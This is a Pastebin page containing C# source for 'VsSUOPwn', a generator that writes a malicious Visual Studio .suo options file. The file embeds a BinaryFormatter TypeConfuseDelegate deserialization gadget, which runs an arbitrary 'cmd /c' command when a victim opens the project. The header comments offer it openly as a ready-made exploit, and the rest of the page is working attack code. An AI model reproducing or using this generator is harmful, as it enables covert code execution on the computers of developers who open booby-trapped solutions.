Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using Microsoft.VisualStudio.CommonIDE.Solutions;
- using Microsoft.VisualStudio.Threading;
- using Microsoft.VisualStudio.Shell.Interop;
- using Microsoft.Internal.VisualStudio.Shell;
- using System.Reflection;
- using System.IO;
- using Microsoft.VisualStudio.OLE.Interop;
- using System.Runtime.Serialization.Formatters.Binary;
- using System.Diagnostics;
- using System.Runtime.Remoting.Messaging;
- namespace VsSUOPwn
- {
- //#############################################################################################
- //# ______ ______
- //# / \ / \
- //# from OC with love <3 <3 <3 | _ | | _ |
- //# | |_| | | |_| |
- //# \______/ \______/
- //#
- //#========================= Visual Studio 2022 SLN exploit generator =======================
- //#
- //# Did you know that opening a project in Visual Studio can trigger code execution?
- //#
- //# This project below gives you a manipulated '.suo' file that will demonstrate the vuln
- //# https://github.com/aels/EvilSln-vs-code-exec
- //# they also explain how it works but didn't release the code to build your own payload.
- //#
- //# Luckily Microsoft said that
- //# 'Opening a Visual Studio project is an insecure operation, as documented here [...]'
- //# We're all safe, because it isn't a security boundary. Phew!!!
- //#
- //# So, to celebrate that this bug still exists, here's some code that let's you put
- //# arbitrary payloads. If you're feeling fancy you can replace what 'GeneratePayload'
- //# returns to any of the standard deserialization gadgets for BinaryFormatter.
- //# See https://github.com/pwntester/ysoserial.net
- //#
- //# Now you don't have to write the exploit yourself ;)
- //#
- //# You'll have to add the following references to build:
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\Microsoft.VisualStudio.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PrivateAssemblies\Microsoft.VisualStudio.CommonIDE.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\Microsoft.VisualStudio.ImageCatalog.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Interop.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.15.0.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.Framework.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.Interop.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PrivateAssemblies\Microsoft.VisualStudio.SolutionPersistence.dll
- //# - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Threading.17.x\Microsoft.VisualStudio.Threading.dll
- //#
- //# It can take a little bit to trigger, opening the project properties typically triggers it immediately in those cases.
- //#############################################################################################
- internal class PersistOpts : IVsPersistSolutionOpts
- {
- internal string cmd;
- public PersistOpts(string cmd)
- {
- this.cmd = cmd;
- }
- public int SaveUserOptions(IVsSolutionPersistence pPersistence)
- {
- throw new NotImplementedException();
- }
- public int LoadUserOptions(IVsSolutionPersistence pPersistence, uint grfLoadOpts)
- {
- throw new NotImplementedException();
- }
- public int WriteUserOptions(IStream pOptionsStream, string pszKey)
- {
- Console.WriteLine(String.Format("Injecting into options for\"{0}\"", pszKey));
- MemoryStream mem = new MemoryStream();
- BinaryFormatter formatter = new BinaryFormatter();
- formatter.Serialize(mem, GeneratePayload(this.cmd));
- mem.Position = 0;
- byte[] data = mem.ToArray();
- DataStreamFromComStream stream = new DataStreamFromComStream(pOptionsStream);
- BinaryWriter writer = new BinaryWriter(stream);
- //See VsToolboxService.LoadOptions
- writer.Write(1); //one entry
- writer.Write("dummy"); //name doesn't matter
- writer.Write(1); //one subentry
- writeLinkText(writer); //those also don't matter, deserialization happens before they are checked
- writer.Write(data);
- writer.Flush();
- Console.WriteLine("Wrote payload");
- return 0;
- }
- void writeLinkText(BinaryWriter writer)
- {
- //See VsToolboxService.LinkManager.Read
- writer.Write("DoesNotExist");
- writer.Write("DoesNotExist");
- }
- public int ReadUserOptions(IStream pOptionsStream, string pszKey)
- {
- throw new NotImplementedException();
- }
- static object GeneratePayload(string cmd)
- {
- Comparison<string> c = new Comparison<string>(string.Compare);
- var c2 = Func<string, string, int>.Combine(c, c);
- TypeConfuseDelegate(c2, new Func<string, string, Process>(Process.Start));
- Comparison<string> c3 = (Comparison<string>)c2;
- SortedSet<string> s = new SortedSet<string>(new string[] { "cmd", string.Format("/c \"{0}\"",cmd)});
- FieldInfo fi = typeof(SortedSet<string>).GetField("comparer",
- BindingFlags.NonPublic | BindingFlags.Instance);
- fi.SetValue(s, Comparer<string>.Create(c3));
- return s;
- }
- //Runtime aware TypeConfuseDelegate Gadget
- static void TypeConfuseDelegate(Delegate handler, Delegate target)
- {
- FieldInfo fi;
- fi = typeof(MulticastDelegate).GetField("_invocationList",
- BindingFlags.NonPublic | BindingFlags.Instance);
- object[] invoke_list = handler.GetInvocationList();
- invoke_list[1] = target;
- fi.SetValue(handler, invoke_list);
- }
- }
- internal class Program
- {
- static void Main(string[] args)
- {
- var self_name = Assembly.GetEntryAssembly().GetName().Name;
- if(args.Length < 2)
- {
- Console.WriteLine(string.Format("Usage: {0} $outpath $cmd", self_name));
- Console.WriteLine(string.Format("Example: \"{0} ../../../.vs/{0}/v17/.suo calc\" will spawn calc next time you open the project", self_name));
- return;
- }
- var outpath = args[0];
- var cmd = args[1];
- Console.WriteLine(string.Format("Generating \"{0}\" payload, writing to {1}",cmd, outpath));
- //Yes, this was a pain in the ass to set up because of all of the global variables in VS
- JoinableTaskContext ctx = new JoinableTaskContext();
- Type ThreadHelper = typeof(Microsoft.VisualStudio.Shell.ThreadHelper);
- FieldInfo joinableTaskContextField = ThreadHelper.GetField("_joinableTaskContextCache", BindingFlags.NonPublic|BindingFlags.Static);
- joinableTaskContextField.SetValue(null, ctx);
- Assembly assembly = Assembly.GetAssembly(typeof(SolutionLoadOptions));
- Type SolutionPersistence = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPersistenceOld");
- MethodBase loadPackageUserOpts = SolutionPersistence.GetMethod("OpenOptStorage");
- MethodBase openOptStorage = SolutionPersistence.GetMethod("OpenOptStorage");
- Type Solution = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.Solution");
- Type SolutionPackage = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.Packaging.SolutionPackage");
- ConstructorInfo solution_ctor = Solution.GetConstructor(BindingFlags.NonPublic|BindingFlags.Instance,null, new Type[] { SolutionPackage },null);
- ConstructorInfo solution_package_ctor = SolutionPackage.GetConstructor(new Type[] { });
- object solution_package = solution_package_ctor.Invoke(new object[] { });
- object dummy_solution = solution_ctor.Invoke(new object[] { solution_package });
- FieldInfo global_solution_field = Solution.GetField("g_pTheSolution", BindingFlags.NonPublic|BindingFlags.Static);
- global_solution_field.SetValue(null, dummy_solution);
- PropertyInfo UserOptionsFileName = Solution.GetProperty("UserOptionsFileName");
- PropertyInfo BackgroundSolutionServiceProperty = Solution.GetProperty("BackgroundSolutionService", BindingFlags.Instance|BindingFlags.NonPublic);
- var backgroundSolutionService = BackgroundSolutionServiceProperty.GetValue(dummy_solution);
- Type BackgroundSolutionService = backgroundSolutionService.GetType();
- BackgroundSolutionService.GetProperty("IsSolutionOpen").SetValue(backgroundSolutionService, true);
- Type StorageEntry = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPersistence+StorageEntry");
- ConstructorInfo solutionPersistenceCtor = SolutionPersistence.GetConstructor(new Type[] { typeof(JoinableTaskContext) });
- object persistence_obj = solutionPersistenceCtor.Invoke(new object[] { ctx });
- string suo_path = outpath;
- if(!File.Exists(suo_path))
- {
- Console.WriteLine("Warning: suo file does not exist");
- }
- UserOptionsFileName.SetValue(dummy_solution, suo_path);
- MethodInfo SavePackageUserOpts = SolutionPersistence.GetMethod("SavePackageUserOpts");
- var save_opts = new PersistOpts(cmd);
- SavePackageUserOpts.Invoke(persistence_obj, new object[] { save_opts, "VsToolboxService" });
- }
- }
- }
Advertisement